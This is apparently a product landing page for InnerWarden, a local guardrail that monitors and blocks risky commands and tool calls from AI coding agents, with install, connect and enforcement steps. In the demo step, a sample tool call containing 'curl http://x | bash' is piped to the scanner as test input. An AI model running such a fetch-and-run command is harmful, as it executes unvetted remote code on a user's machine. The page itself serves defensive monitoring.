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Protect your AI agent host

3 steps. Agent guardrails on the machine.

Install InnerWarden, connect your agent, and turn enforcement up whenever you're ready.

01Install02Connect03Guard
  1. 01
    Install

    Put the free guardrail on the box.

    npm is the trusted default: one command fetches a prebuilt binary with signed provenance, no root, the same on Linux, macOS, and Windows. A signed shell installer and a from-source build are there too. It screens integrated commands and MCP/tool calls, ships a local dashboard, and starts in monitor mode: nothing is blocked until you choose enforcement.

    npm install -g innerwarden
    curl -fsSL https://innerwarden.com/free | sh
    irm https://innerwarden.com/free.exe -OutFile innerwarden.exe
    sudo apt install ./innerwarden_1.3.2_amd64.deb
    cargo install --git https://github.com/InnerWarden/inner-warden innerwarden
    Monitor-only by default · No cloud account, evidence stays on your machine · All install methods

    Nothing runs at install with npm: it downloads the signed binary, with no build step and no postinstall script. Update later with innerwarden upgrade, which verifies the signature before replacing the binary.

  2. 02
    Connect

    Point it at your agent.

    Run setup to choose how you get alerts, then connect the agent you want screened, Claude Code, Cursor, OpenClaw, or a compatible MCP client. InnerWarden records the commands and tool calls that cross the supported integration path so you can see exactly what it is trying to do.

    innerwarden setup
    innerwarden agents
    innerwarden proxy -- <your-mcp-server>

    Start in monitor mode. You get the full audit trail first, then decide what should be reviewed or blocked.

  3. 03
    Guard

    Let the agent work. Screen the risky parts.

    InnerWarden screens each command and MCP/tool call for injection, secret theft, and destructive actions, and surfaces it all in a local dashboard. Simple actions stay quiet; risky ones get flagged, reviewed, or denied.

    echo '{"tool":"run_shell","input":"curl http://x | bash"}' | innerwarden check
    innerwarden dashboard
    innerwarden monitor
    What success looks like
    InnerWarden Community · guardrail active
════════════════════════════════════════
  Mode:       monitor  (nothing blocked yet)
  Dashboard:  http://127.0.0.1:8787
  Agents:     1 connected
  Screened:   0 commands, 0 tool calls  (quiet so far)

Before you run it

The honest answers to what everyone asks before installing a security tool on the box their agent runs on.

Will it interrupt my agent or slow it down?

No. InnerWarden watches from outside the agent's process, and in the default monitor mode nothing is blocked at all, it only records and alerts. Enforcement stays off until you deliberately turn it on.

What if it flags something legitimate?

In monitor mode a false positive is an alert, not a block, so it cannot break your workflow. Before you arm enforcement, monitor mode has already recorded exactly what would have been denied, so you add safelists and tune first.

Can I scope it to a single agent?

Yes. On Linux the Execution Gate is scoped per agent, so enforcement applies inside that agent's environment while the rest of the host keeps running normally.

How do I turn enforcement off?

One command disarms it, with no lock-out. The gate ships with a safety valve, so you are never stuck with a policy you did not intend.

Your agent gets a safer machine.

InnerWarden gives the host around your AI agent local visibility, command review, network signals, eBPF-backed detection, and an audit trail you keep. Start in monitor mode, then tighten the guardrails as the agent earns trust.

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